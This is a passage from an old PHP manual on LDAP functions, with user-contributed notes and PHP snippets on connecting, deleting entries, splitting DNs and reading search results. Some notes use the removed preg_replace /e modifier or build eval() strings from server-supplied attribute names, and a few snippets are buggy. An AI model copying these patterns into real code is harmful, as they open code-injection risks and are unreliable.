Note that hostname can be a space-separated list of LDAP host names. This is very useful for failover; if the first ldap host is down, ldap_connect will ask the second LDAP host. Of course, you _must_ have LDAP replicates before doing this. :) Read the LDAP API documentation for more information.

This can also be useful, apart from failover, for LDAP load balancing. Just use a random generator function that will return a different space-separated list every time. This is because the first host in the list is always tried first.

Be careful when doing LDAP writes; be sure to always connect to your master host when you are about to modify the database, so that the replicates will get the changes as expected.

Alexandros Vellis
25-Apr-2002 12:28
A resource ID is always returned when using URLs for the host parameter
even if the host does not exist.

"When using an URI to describe the connection, the (open)ldap library
only parses the url and checks if it's valid, _no connection_ is
established in that case."
-mfischer@php.net
http://bugs.php.net/bug.php?id=15637
add a note add a note

后退 | 起点 | 前进
ldap_compare | 上一级 | ldap_count_entries


ldap_count_entries

(PHP 3, PHP 4, PHP 5)

ldap_count_entries -- Count the number of entries in a search

Description

int ldap_count_entries ( resource link_identifier, resource result_identifier )

Returns number of entries in the result or FALSE on error.

ldap_count_entries() returns the number of entries stored in the result of previous search operations. result_identifier identifies the internal ldap result.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_connect | 上一级 | ldap_delete


ldap_delete

(PHP 3, PHP 4, PHP 5)

ldap_delete -- Delete an entry from a directory

Description

bool ldap_delete ( resource link_identifier, string dn )

如果成功则返回 TRUE，失败则返回 FALSE。

ldap_delete() function delete a particular entry in LDAP directory specified by dn.

add a note add a note User Contributed Notes
sergiopaternoster at tiscali dot it
12-Apr-2003 02:02
If you receive a "Strong(er) authentication required" error message when you try to delete an entry on OpenLDAP 2.1.6 set LDAP version 3 first:

$ds = ldap_connect($my_ldap_host);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$r=@ldap_bind($ds,$bind_dn,$bind_pwd);

Enjoy LDAP

Sergio
gabriel at hrz dot uni-marburg dot de
14-May-2002 11:16
Useful function to delete dn entries recursively

bool myldap_delete ( resource ds, string dn, bool recursive)

Returns TRUE on success, FALSE on failure
recursive is by default FALSE (same behaviour as ldap_delete)

function myldap_delete($ds,$dn,$recursive=false){
   if($recursive == false){
       return(ldap_delete($ds,$dn));
   }else{
       //searching for sub entries
       $sr=ldap_list($ds,$dn,"ObjectClass=*",array(""));
       $info = ldap_get_entries($ds, $sr);
       for($i=0;$i<$info['count'];$i++){
           //deleting recursively sub entries
           $result=myldap_delete($ds,$info[$i]['dn'],$recursive);
           if(!$result){
               //return result code, if delete fails
               return($result);
           }
       }
       return(ldap_delete($ds,$dn));
   }
}
add a note add a note

后退 | 起点 | 前进
ldap_count_entries | 上一级 | ldap_dn2ufn


ldap_dn2ufn

(PHP 3, PHP 4, PHP 5)

ldap_dn2ufn -- Convert DN to User Friendly Naming format

Description

string ldap_dn2ufn ( string dn )

ldap_dn2ufn() function is used to turn a DN, specified by dn, into a more user-friendly form, stripping off type names.

add a note add a note User Contributed Notes
naaina at gmail dot com
18-Feb-2005 08:18
Don't know if anyone is interested in this, but this is a modified and more dynamic version of the posting below. Since ldap_dn2ufn takes ',' as delimiter for the UFNs, we'll also use it here. $pHowToBuild specifies, how the DN is going to be build.

Short example:

$myUFN = ldap_dn2ufn("cn=naaina, ou=container1, ou=container2, ou=container3, o=private, c=de");
echo $myUFN . "\n"; // will return "naaina, container1, container2, container3, private, de"

$myDN = $ldapObject->conv_ufn2dn($myUFN);
echo $myDN . "\n"; // will return "cn=naaina,ou=container1,ou=container2,ou=container3,o=private,c=de"

For the object name, $pHowToBuild["object"] is going to be used as prefix - for containers $pHowToBuild["container"] and for the last n elements $pHowToBuild["last"].

<?php
  function ldap_ufn2dn (
   $pUFN,
   $pDelimiter = ",",
   $pHowToBuild = array(
   "object" => "cn",
   "container" => "ou",
   "last" => array("o", "c")
   )
  )
  {
   $resultDN = null;

   if(!empty($pUFN)) {
     /* Check $pHowToBuild */
     if(is_array($pHowToBuild)) {
       /* Check if required keys are existent */
       if(array_key_exists("object", $pHowToBuild) &&
         array_key_exists("container", $pHowToBuild) &&
         array_key_exists("last", $pHowToBuild))
       {
         $ufnArray = explode($pDelimiter, $pUFN);
         $ufnLast  = count($ufnArray) - count($pHowToBuild["last"]);

         /* Remove empty values */
         foreach($ufnArray as $objKey => $objVal)
           if(empty($objVal))
             array_splice($ufnArray, $objKey, 1);

         /* Now build the DN ... */
         foreach($ufnArray as $objKey => $objVal) {
           $objVal = trim($objVal);

           if($objKey == 0) {
             /* For the object */
             $resultDN .= $pHowToBuild["object"] . "=" . $objVal . ",";
           } elseif ($objKey >= $ufnLast) {
             /* For last parts of the DN */
             $resultDN .= $pHowToBuild["last"][$objKey - $ufnLast] . "=" . $objVal;
             if(($objKey - $ufnLast - 1) != 0) {
               $resultDN .= ",";
             }
           } else {
             /* For containers */
             $resultDN .= $pHowToBuild["container"] . "=" . $objVal . ",";
           }
         }
       }
     }
   }

   return $resultDN;
  }
?>
alex at netflex dot nl
15-Oct-2002 07:09
The function of bryan will only work if you start with an Organization and using only an Organizational Unit as a container and the object is an CN.

For example:

$DN = "CN=DNS,CN=Authorized Login Methods,CN=Security";

echo ($DN = ldap_dn2ufn($DN)) . "\n";

echo ($DN = ldap_ufn2dn($DN)) . "\n";

will echo:

DNS,Authorized Login Methods,Security

CN=DNS,OU=Authorized Login Methods,O=Security
bryan at apachetoolbox dot com
25-Jul-2001 07:47
function ldap_unf2dn($unf,$delimeter=".") {
 $seperated = explode($delimeter,$unf); //split the unf up by the given delimeter
 $LastKey=count($seperated)-1;          //0 is the first key to total-1 would be the last key
 foreach($seperated as $key => $value) {
  if ($key == 1) {              //first variable is the CN
   $dn="${dn}cn=$value,";
  } elseif ($key == $LastKey) { //last variable, so it's the O
   $dn="${dn}o=$value";
  } elseif ($value == "") {    //value is blank, so continue
   continue;
  } else {                      //just a typical OU
   $dn="${dn}ou=$value,";
  }

 };
return $dn;

}

$unf=".bryan.users.admin.apachetoolbox";
$dn=ldap_unf2dn($unf);
print "$dn" // will give me "cn=bryan,ou=users,ou=TS,o=apachetoolbox"
bryan at apachetoolbox dot com
25-Jul-2001 07:12
This function will convert "cn=bryan,ou=users,ou=admin,o=apachetoolbox" to "bryan,users,admin,apachetoolbox".
add a note add a note

后退 | 起点 | 前进
ldap_delete | 上一级 | ldap_err2str


ldap_err2str

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ldap_err2str -- Convert LDAP error number into string error message

Description

string ldap_err2str ( int errno )

Returns string error message.

This function returns the string error message explaining the error number errno. While LDAP errno numbers are standardized, different libraries return different or even localized textual error messages. Never check for a specific error message text, but always use an error number to check.

See also ldap_errno() and ldap_error().

例子 1. Enumerating all LDAP error messages

<?php
  for ($i=0; $i<100; $i++) {
    printf("Error $i: %s<br />\n", ldap_err2str($i));
  }
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_dn2ufn | 上一级 | ldap_errno


ldap_errno

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

ldap_errno -- Return the LDAP error number of the last LDAP command

Description

int ldap_errno ( resource link_identifier )

Return the LDAP error number of the last LDAP command for this link.

This function returns the standardized error number returned by the last LDAP command for the given link_identifier. This number can be converted into a textual error message using ldap_err2str().

Unless you lower your warning level in your php.ini sufficiently or prefix your LDAP commands with @ (at) characters to suppress warning output, the errors generated will also show up in your HTML output.

例子 1. Generating and catching an error

<?php
// This example contains an error, which we will catch.
$ld = ldap_connect("localhost");
$bind = ldap_bind($ld);
// syntax error in filter expression (errno 87),
// must be "objectclass=*" to work.
$res =  @ldap_search($ld, "o=Myorg, c=DE", "objectclass");
if (!$res) {
    echo "LDAP-Errno: " . ldap_errno($ld) . "<br />\n";
    echo "LDAP-Error: " . ldap_error($ld) . "<br />\n";
    die("Argh!<br />\n");
}
$info = ldap_get_entries($ld, $res);
echo $info["count"] . " matching entries.<br />\n";
?>

See also ldap_err2str() and ldap_error().

add a note add a note User Contributed Notes
12-Apr-2002 07:23
Common LDAP error codes

LDAP_SUCCESS                    0x00
LDAP_OPERATIONS_ERROR          0x01
LDAP_PROTOCOL_ERROR            0x02
LDAP_TIMELIMIT_EXCEEDED        0x03
LDAP_SIZELIMIT_EXCEEDED        0x04
LDAP_COMPARE_FALSE              0x05
LDAP_COMPARE_TRUE              0x06
LDAP_AUTH_METHOD_NOT_SUPPORTED  0x07
LDAP_STRONG_AUTH_REQUIRED      0x08
// Not used in LDAPv3
LDAP_PARTIAL_RESULTS            0x09

// Next 5 new in LDAPv3
LDAP_REFERRAL          0x0a
LDAP_ADMINLIMIT_EXCEEDED        0x0b
LDAP_UNAVAILABLE_CRITICAL_EXTENSION    0x0c
LDAP_CONFIDENTIALITY_REQUIRED  0x0d
LDAP_SASL_BIND_INPROGRESS      0x0e

LDAP_NO_SUCH_ATTRIBUTE          0x10
LDAP_UNDEFINED_TYPE            0x11
LDAP_INAPPROPRIATE_MATCHING    0x12
LDAP_CONSTRAINT_VIOLATION      0x13
LDAP_TYPE_OR_VALUE_EXISTS      0x14
LDAP_INVALID_SYNTAX            0x15

LDAP_NO_SUCH_OBJECT            0x20  /* 32 */
LDAP_ALIAS_PROBLEM              0x21
LDAP_INVALID_DN_SYNTAX          0x22
// Next two not used in LDAPv3
LDAP_IS_LEAF                    0x23
LDAP_ALIAS_DEREF_PROBLEM        0x24

LDAP_INAPPROPRIATE_AUTH        0x30  /* 48 */
LDAP_INVALID_CREDENTIALS        0x31  /* 49 */
LDAP_INSUFFICIENT_ACCESS        0x32
LDAP_BUSY                      0x33
LDAP_UNAVAILABLE                0x34
LDAP_UNWILLING_TO_PERFORM      0x35
LDAP_LOOP_DETECT                0x36

LDAP_SORT_CONTROL_MISSING      0x3C    /* 60 */
LDAP_INDEX_RANGE_ERROR          0x3D    /* 61 */

LDAP_NAMING_VIOLATION          0x40
LDAP_OBJECT_CLASS_VIOLATION    0x41
LDAP_NOT_ALLOWED_ON_NONLEAF    0x42
LDAP_NOT_ALLOWED_ON_RDN        0x43
LDAP_ALREADY_EXISTS            0x44    /* 68 */
LDAP_NO_OBJECT_CLASS_MODS      0x45
LDAP_RESULTS_TOO_LARGE          0x46
// Next two for LDAPv3
LDAP_AFFECTS_MULTIPLE_DSAS      0x47
LDAP_OTHER                      0x50

// Used by some APIs
LDAP_SERVER_DOWN                0x51
LDAP_LOCAL_ERROR                0x52
LDAP_ENCODING_ERROR            0x53
LDAP_DECODING_ERROR            0x54
LDAP_TIMEOUT                    0x55
LDAP_AUTH_UNKNOWN              0x56
LDAP_FILTER_ERROR              0x57    /* 87 */
LDAP_USER_CANCELLED            0x58
LDAP_PARAM_ERROR                0x59
LDAP_NO_MEMORY                  0x5a

// Preliminary LDAPv3 codes
LDAP_CONNECT_ERROR              0x5b
LDAP_NOT_SUPPORTED              0x5c
LDAP_CONTROL_NOT_FOUND  0x5d
LDAP_NO_RESULTS_RETURNED        0x5e
LDAP_MORE_RESULTS_TO_RETURN    0x5f
LDAP_CLIENT_LOOP        0x60
LDAP_REFERRAL_LIMIT_EXCEEDED    0x61
ahall at mirapoint dot com
31-Jul-2001 10:16
Couple of good error codes to get started.  If you want to detect failure of ldap_add due to the record already existing, ldap_error == 0x44.  This means, you can do something like:

$r = ldap_add($ds, $dn, $info);
if (!$r) {
   if (ldap_errno($ds) == 0x44) {
         // Do something about it
   } else {
         // A real failure
   }
}

Similarly, on ldap_delete, you will get a 0x20 value (No Such Object) if you try to delete something that isn't there.
add a note add a note

后退 | 起点 | 前进
ldap_err2str | 上一级 | ldap_error


ldap_error

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

ldap_error -- Return the LDAP error message of the last LDAP command

Description

string ldap_error ( resource link_identifier )

Returns string error message.

This function returns the string error message explaining the error generated by the last LDAP command for the given link_identifier While LDAP errno numbers are standardized, different libraries return different or even localized textual error messages. Never check for a specific error message text, but always use an error number to check.

Unless you lower your warning level in your php.ini sufficiently or prefix your LDAP commands with @ (at) characters to suppress warning output, the errors generated will also show up in your HTML output.

See also ldap_err2str() and ldap_errno().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_errno | 上一级 | ldap_explode_dn


ldap_explode_dn

(PHP 3, PHP 4, PHP 5)

ldap_explode_dn -- Splits DN into its component parts

Description

array ldap_explode_dn ( string dn, int with_attrib )

ldap_explode_dn() function is used to split the DN returned by ldap_get_dn() and breaks it up into its component parts. Each part is known as Relative Distinguished Name, or RDN. ldap_explode_dn() returns an array of all those components. with_attrib is used to request if the RDNs are returned with only values or their attributes as well. To get RDNs with the attributes (i.e. in attribute=value format) set with_attrib to 0 and to get only values set it to 1.

add a note add a note User Contributed Notes
DavidSmith at byu dot net
16-Sep-2003 12:06
[ Editor's Note: The segfault has been fixed and will not occur in PHP 4.3.4 or PHP 5.0.0 when they are released.  However, it is still important to escape special characters as detailed below. ]

If your DN contains < or > characters, you must escape them with a backslash or ldap_explode_dn() will give you a "wrong parameter count" error or even a segmentation fault.

For example, these calls will fail with a "wrong parameter count" or a seg fault:

  ldap_explode_dn( "cn=<bob>,dc=example,dc=com", 0 );
  ldap_explode_dn( 'cn=<bob>,dc=example,dc=com', 0 );

But this will succeed

  ldap_explode_dn( "cn=\<bob\>,dc=example,dc=com", 0 );

Notice also that the < and > are escaped with hex codes as noted above. This function is a nice wrapper that properly formats all DNs and can safely be called with < and > characters, and UTF-8 characters:

function my_explode_dn( $dn, $with_attributes=0 )
{
       $dn = addcslashes( $dn, "<>" );
       $result = ldap_explode_dn( $dn, $with_attributes );
       //translate hex code into ascii again
       foreach( $result as $key => $value )
               $result[$key] = preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
       return $result;
}

I am using php 4.3.1. Good luck!
gabriel at hrz dot uni-marburg dot de
05-Aug-2003 05:27
Keep attention on UTF8 encoded DNs. Since openLDAP >=2.1.2
ldap_explode_dn turns unprintable chars (in the ASCII sense, UTF8
encoded) into \<hexcode>.

Example:

$dn="ou=Universitt ,c=DE";
var_dump(ldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(19) "ou=Universit\C3\A4t"
  [1]=>
  string(4) "c=DE"
}

Unfortunately, PHP don't support the ldap functions ldap_str2dn and
ldap_dn2str, but by means of preg_replace a workaround is possible to
recover the old behaviour of ldap_explode_dn

// workaround
function myldap_explode_dn($dn,$with_attribute){

$result=ldap_explode_dn ($dn, $with_attrib);
 //translate hex code into ascii again
   foreach($result as $key=>$value){
         $result[$key]=preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
   }
   return($result);

}
//
//then follows for the example

$dn="ou=Universitt ,c=DE";
var_dump(myldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(15) "ou=Universitt"
  [1]=>
  string(4) "c=DE"
}
bs at muekno dot de
23-Oct-2001 07:02
Copying is much better than typing!!!!
Just modify the constants.
Best wishes (and thanX 4 this helpfull site),
Bernd Schwaegerl
Mueller-Knoche GmbH, Systemhaus fuer EDV-Loesungen

# Example:

$HOST = "Yourhostname";
$USER_DN = "Yourldapuser_dn";
$PWD = "Ldapuserpassword";
$BASE_DN = "o=Your_organisation";
$SEARCH_OBJECT="sn=YOUR_SEARCH_PERSON_OBJECTS_SN";

$ldap_handle=ldap_connect($HOST);
$bind_result=ldap_bind($ldap_handle,$USER_DN,$PWD);

$search_result=ldap_search($ldap_handle,$BASE_DN,$SEARCH_OBJECT);
$result=ldap_get_entries($ldap_handle,$search_result);
$result_array=ldap_get_entries($ldap_handle,$result);
$whole_dn=$result_array[0]["dn"];

$dn_parts=ldap_explode_dn($whole_dn,0);
add a note add a note

后退 | 起点 | 前进
ldap_error | 上一级 | ldap_first_attribute


ldap_first_attribute

(PHP 3, PHP 4, PHP 5)

ldap_first_attribute -- Return first attribute

Description

string ldap_first_attribute ( resource link_identifier, resource result_entry_identifier, int &ber_identifier )

Returns the first attribute in the entry on success and FALSE on error.

Similar to reading entries, attributes are also read one by one from a particular entry. ldap_first_attribute() returns the first attribute in the entry pointed by the result_entry_identifier. Remaining attributes are retrieved by calling ldap_next_attribute() successively. ber_identifier is the identifier to internal memory location pointer. It is passed by reference. The same ber_identifier is passed to the ldap_next_attribute() function, which modifies that pointer.

See also ldap_get_attributes()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_explode_dn | 上一级 | ldap_first_entry


ldap_first_entry

(PHP 3, PHP 4, PHP 5)

ldap_first_entry -- Return first result id

Description

resource ldap_first_entry ( resource link_identifier, resource result_identifier )

Returns the result entry identifier for the first entry on success and FALSE on error.

Entries in the LDAP result are read sequentially using the ldap_first_entry() and ldap_next_entry() functions. ldap_first_entry() returns the entry identifier for first entry in the result. This entry identifier is then supplied to ldap_next_entry() routine to get successive entries from the result.

See also ldap_get_entries().

add a note add a note User Contributed Notes
eddie at omegaware dot com
08-Aug-2003 08:57
Here's a nice way to user ldap_first_entry,ldap_next_entry.

$res = ldap_search($ldapc,$searchroot,$filter,$attributes);
for ($entryID=ldap_first_entry($ldapc,$res);
           $entryID!=false;
           $entryID=ldap_next_entry($ldapc,$entryID))
{
// Do stuff with the $entryID.
$values = ldap_get_values($ldapc,$entryID,'uid');
}
add a note add a note

后退 | 起点 | 前进
ldap_first_attribute | 上一级 | ldap_first_reference


ldap_first_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_first_reference -- Return first reference

Description

resource ldap_first_reference ( resource link, resource result )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
sami at sipponen dot com
16-Nov-2004 07:56
Hopefully the code below help you to loop through references with LDAP3 servers. It took me a significant amount of time to figure out how this thing works and now I have successfully used this with Active Directory to loop through severial subdomains.

Special thanks to Stig Venaas who helped me to get started. (the original problem was that ldap_parse_reference function was missing in Windows builds. At least it will now work with Windows PHP versions 5.1.0-DEV and higher after I made a bug report)

function crawlRefs($user, $passw, $host, $dn, $port, $filter) {

  //Create the basic connection for fetching referrals
  $adConn = ldap_connect($host, $port) or die("System couldn't connect!");
  ldap_set_option($adConn, LDAP_OPT_PROTOCOL_VERSION, 3) or die ("System couldn't make first protocol option setting!");
  ldap_set_option($adConn, LDAP_OPT_REFERRALS, 0) or die ("System couldn't make second protocol option setting!");
  $bd = ldap_bind($adConn, $user, $passw) or die ("System couldn't bind the connection!");
  $search = ldap_search($adConn, $dn, $filter);

  //Find referrals
  $ref = ldap_first_reference($adConn, $search);
  while ($ref) {
   if (ldap_parse_reference($adConn, $ref, $referrals)) {
     while ($referral = array_shift($referrals)) {
       echo $referral . "<br>\n";
     }
   }
  $ref = ldap_next_reference($adConn, $ref);
}
add a note add a note

后退 | 起点 | 前进
ldap_first_entry | 上一级 | ldap_free_result


ldap_free_result

(PHP 3, PHP 4, PHP 5)

ldap_free_result -- Free result memory

Description

bool ldap_free_result ( resource result_identifier )

如果成功则返回 TRUE，失败则返回 FALSE。

ldap_free_result() frees up the memory allocated internally to store the result and pointed by the result_identifier. All result memory will be automatically freed when the script terminates.

Typically all the memory allocated for the ldap result gets freed at the end of the script. In case the script is making successive searches which return large result sets, ldap_free_result() could be called to keep the runtime memory usage by the script low.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_first_reference | 上一级 | ldap_get_attributes


ldap_get_attributes

(PHP 3, PHP 4, PHP 5)

ldap_get_attributes -- Get attributes from a search result entry

Description

array ldap_get_attributes ( resource link_identifier, resource result_entry_identifier )

Returns a complete entry information in a multi-dimensional array on success and FALSE on error.

ldap_get_attributes() function is used to simplify reading the attributes and values from an entry in the search result. The return value is a multi-dimensional array of attributes and values.

Having located a specific entry in the directory, you can find out what information is held for that entry by using this call. You would use this call for an application which "browses" directory entries and/or where you do not know the structure of the directory entries. In many applications you will be searching for a specific attribute such as an email address or a surname, and won't care what other data is held.

return_value["count"] = number of attributes in the entry
return_value[0] = first attribute
return_value[n] = nth attribute

return_value["attribute"]["count"] = number of values for attribute
return_value["attribute"][0] = first value of the attribute
return_value["attribute"][i] = (i+1)th value of the attribute

例子 1. Show the list of attributes held for a particular directory entry

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = ldap_get_attributes($ds, $entry);

echo $attrs["count"] . " attributes held for this entry:<p>";

for ($i=0; $i<$attrs["count"]; $i++) {
    echo $attrs[$i] . "<br />";
}
?>

See also ldap_first_attribute() and ldap_next_attribute().

add a note add a note User Contributed Notes
php dot net at hiddemann dot org
03-Jul-2004 01:59
Note that ldap_get_attributes fetches attributes AND values from the LDAP server. Depending on the data stored in the entry, the following code might work a dozen times faster (or even better, but faster in general) than the code in Example 1:

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = array();
$attribute = ldap_first_attribute($ds,$entry,$identifier);
while ($attribute) {
   $attrs[] = $attribute;
   $attribute=ldap_next_attribute($ds,$entry,$identifier);
}

echo count($attrs) . " attributes held for this entry:<p>";

for ($i=0; $i<count($attrs); $i++) {
   echo $attrs[$i] . "<br />";
}
?>

You may want to check the time difference with the function "microtime".
kop at meme dot com
30-Jul-2003 02:28
It's good practice to use array_change_key_case() on the result of ldap_get_attributes() so your program can ignore case in attribute names just like ldap itself does.  (You wouldn't want ldap_get_attributes to _always_ flatten the case because you need a way to get the attribute names in a pretty format for display to the user.)
allie at pajunas dot com
21-May-2002 11:52
The array created by this function is similar to the on from ldap_get_entries() but when it creates array keys it alters the attribute's case inconsistently.

ldap_get_entries() lowercases all of the attributes before keying the array with them, but this function appears to leave things as they are.

If you're having problems, do a print_r and make sure you're using correct case for array keys.  For example, you might need to use "objectClass" and not "objectclass".
software at inebria dot com
22-Jun-2001 01:31
As of PHP 4.0.5, the ldap_get_attributes function does not work with binary data.  If you're fetching a JPEG from an LDAP server, use ldap_get_values_len instead.
add a note add a note

后退 | 起点 | 前进
ldap_free_result | 上一级 | ldap_get_dn


ldap_get_dn

(PHP 3, PHP 4, PHP 5)

ldap_get_dn -- Get the DN of a result entry

Description

string ldap_get_dn ( resource link_identifier, resource result_entry_identifier )

Returns the DN of the result entry and FALSE on error.

ldap_get_dn() function is used to find out the DN of an entry in the result.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_get_attributes | 上一级 | ldap_get_entries


ldap_get_entries

(PHP 3, PHP 4, PHP 5)

ldap_get_entries -- Get all result entries

Description

array ldap_get_entries ( resource link_identifier, resource result_identifier )

Returns a complete result information in a multi-dimensional array on success and FALSE on error.

ldap_get_entries() function is used to simplify reading multiple entries from the result, specified with result_identifier, and then reading the attributes and multiple values. The entire information is returned by one function call in a multi-dimensional array. The structure of the array is as follows.

The attribute index is converted to lowercase. (Attributes are case-insensitive for directory servers, but not when used as array indices.)

return_value["count"] = number of entries in the result
return_value[0] : refers to the details of first entry

return_value[i]["dn"] =  DN of the ith entry in the result

return_value[i]["count"] = number of attributes in ith entry
return_value[i][j] = jth attribute in the ith entry in the result

return_value[i]["attribute"]["count"] = number of values for
                                        attribute in ith entry
return_value[i]["attribute"][j] = jth value of attribute in ith entry

See also ldap_first_entry() and ldap_next_entry().

add a note add a note User Contributed Notes
markus dot schabel at tgm dot ac dot at
21-Feb-2006 04:20
When you like to get the entry from LDAP in the same style as ldap_add(), then you can use the following function to convert this entry.

<?php
/**
 * Take an LDAP and make an associative array from it.
 *
 * This function takes an LDAP entry in the ldap_get_entries() style and
 * converts it to an associative array like ldap_add() needs.
 *
 * @param array $entry is the entry that should be converted.
 *
 * @return array is the converted entry.
 */
function cleanUpEntry( $entry ) {
   $retEntry = array();
   for ( $i = 0; $i < $entry['count']; $i++ ) {
       $attribute = $entry[$i];
       if ( $entry[$attribute]['count'] == 1 ) {
           $retEntry[$attribute] = $entry[$attribute][0];
       } else {
           for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
               $retEntry[$attribute][] = $entry[$attribute][$j];
           }
       }
   }
   return $retEntry;
}
?>
reuben dot helms at gmail dot com
07-Feb-2006 05:13
Helmuts programming example is incorrect.

PHP arrays start from zero, so your first entry is $entry[0] and your last entry is $entry[$entry["count"] - 1].

$entry[$entry["count"]] will never exist, thus his usage of is_null.

Helmuts usage of is_null is not elegant, its just poor understanding of arrays.

Save some confusion and remove Helmuts entry and this one.
Jim Granger <tenor at jimgranger.com>
25-Jun-2005 05:27
Another way of ignoring the last null entry would be to subtract one from the iteration count like this:

for($i = 0; $i < count($result_array) - 1; $i++)
{
     ...
}

Helmut's method is far more elegant on its own but what I do is combine the above with the null test that he suggested. It may seem like overkill, but better safe than sorry.
helmut dot patay at scandio dot de
22-Apr-2004 06:57
If you loop over the entries, like
$entries = ldap_get_entries( $ds, $sr );
watch out!
you have to check with is_null the last entry
because you will get one entry more than the search found,
but the last one will be null
so you are safe if you do:
for ( $i = 0; $i < count( $entries ); $i++ ) {
   if ( is_null( $entries[ $i ] ) ) continue;
   ...
}
Ovidiu Geaboc <ogeaboc at rdanet.com>
13-Nov-2003 11:59
I have found that ldap_get_entries() function doesn't handle binary data correctly.  I had to write my own using ldap_get_values_len().

// will use ldap_get_values_len() instead and build the array
// note: it's similar with the array returned by
// ldap_get_entries() except it has no "count" elements
$i=0;
$entry = ldap_first_entry($this->conn, $this->srchRslt);
do {
     $attributes = ldap_get_attributes($this->conn, $entry);
     for($j=0; $j<$attributes['count']; $j++) {
       $values = ldap_get_values_len($this->conn, $entry,$attributes[$j]);
       $this->rawData[$i][$attributes[$j]] = $values;
     }
     $i++;
   }
while ($entry = ldap_next_entry($this->conn, $entry));
//we're done
return ($this->rawData);
mackstann / mack%at%incise%dot%org
05-Sep-2003 02:50
I find the ["count"] items in these arrays highly annoying, so I made a function to remove them recursively:

function rCountRemover($arr) {
  foreach($arr as $key=>$val) {
   # (int)0 == "count", so we need to use ===
   if($key === "count")
     unset($arr[$key]);
   elseif(is_array($val))
     $arr[$key] = rCountRemover($arr[$key]);
  }
  return $arr;
}
reaper at sci dot fi
18-Jun-2003 09:09
If you're dealing with Active Directory and need to get values like 'lastlogon', 'pwdlastset' or similar, you'll notice that AD gives the values as Windows FILETIME timestamps. That means, the values are 100-nanosecond units passed since 1.1.1600 00:00:00.

 To convert these to unix timestamps which PHP's date functions understand, one easy way would be the following :

function win_filetime_to_timestamp ($filetime) {

  $win_secs = substr($filetime,0,strlen($filetime)-7); // divide by 10 000 000 to get seconds
  $unix_timestamp = ($win_secs - 11644473600); // 1.1.1600 -> 1.1.1970 difference in seconds
  return $unix_timestamp;
}
matt.s(remove)at(remove)aptalaska.net
17-Apr-2002 04:36
I noticed the same thing Ron did, except I couldn't get php to return the attribute values using numerical pointers at all.  I ended up using an eval() to pass in the associative name:

$ds=ldap_connect("ldapserver");

if ($ds) {

   $r=ldap_bind($ds); #bind to directory
   $sr=ldap_search($ds,"dc=domain,dc=net", "uid=user"); #search for user

   print  "Number of entires returned is " .ldap_count_entries($ds,$sr)."<p>";

   $info = ldap_get_entries($ds, $sr); #get the result

   print "Data for ".$info["count"]." items returned:<p>";

   for ($i=0; $i<$info["count"]; $i++) {  #loop though ldap search result

     print "dn: " . $info[$i]["dn"] . "<br>"; #print dn

     for ($ii=0; $ii<$info[$i]["count"]; $ii++) { #loop though attributes in this dn
       print "&nbsp;&nbsp;" . $info[$i][$ii] . ": "; #print attribute name
       $attrib = $info[$i][$ii]; #set attribute
       eval("print \$info[\$i][\"$attrib\"][0];"); #print attribute value

       print "<br>";
     }

     print "<br>";
   }

   ldap_close($ds);

} else {
   echo "<h4>Unable to connect to LDAP server</h4>";
}
pmichaud at pobox dot com
10-Feb-2002 10:43
Actually, the fact that ldap_get_entries returns attribute names as lowercase is really annoying, because ldap_get_attributes apparently does not.  This is really annoying, especially when having arrays of attribute names and having to worry about which call was used to retrieve entries from LDAP.
c dot green at its dot uq dot edu dot au
17-Aug-2001 07:25
In response to the first message ldap_get_entries, I think there is some confusion with the dynamic typing of php.

If the result is a string doing $foo[0] will return the first character of the string.

In the case of an array $foo[0] will return the entire first element.

Its not to do with the 'dn' in particular, rather the fact that the dn is a scalar value (ie a string) rather than an array, and the indexing works differently in either case.

For debugging purposes I would recommend using something like :

$value = is_array($foo) ? $foo[0] : $foo;

or

$value = is_array($foo) ? implode($foo, $delimiter) : $foo;
oscara at hinux dot hin dot no
16-May-2001 12:51
Note: ldap_get_entries returns true even if no results are found, like this:

echo $entries=ldap_get_entries(...);

will print Array.

You have to check for number of row in the Array like this:

if($entries["count"]==0) return false;

Hope this helped someone...
john at petbrain dot com
21-Dec-2000 02:24
<p>Just a note: an multidemnsional array is like an array with in an array.... you have myArray[2]-> can refer to something like dc=americas,dc=icm,dc=org

<p>Basically you have more elements that are buried with in one element of the parent array[], myArray[2]

<p>So, thats why you see myArray[1]["dn"][0] ... pulling out the first element in myArray[1] and rollover the first element in it.
cbrent at orix dot com dot au
18-Apr-2000 01:03
Note that ldap_get_entries return an associative array with the attributes in lower case.  So for example the givenName ldap attribute is associated with $ldap[0]["givenname"][0] (for the first given name for the first result) this is a little confusing at first.
ron at opus1 dot com
24-Feb-2000 09:17
Note that when you are using loops to search through attributes, you must handle [dn] separately, otherwise each iteration of the loop will only return each character of the dn, left to right, and  the array for dn of "cn=boo" would be:
dn [0]="c"
dn [1]="n"
dn [2]="="
dn [3]="b"
dn [4]="o"
dn [5]="o"
Not much fun to debug. ;-)
add a note add a note

后退 | 起点 | 前进
ldap_get_dn | 上一级 | ldap_get_option


ldap_get_option

(PHP 4 >= 4.0.4, PHP 5)

ldap_get_option -- Get the current value for given option

Description

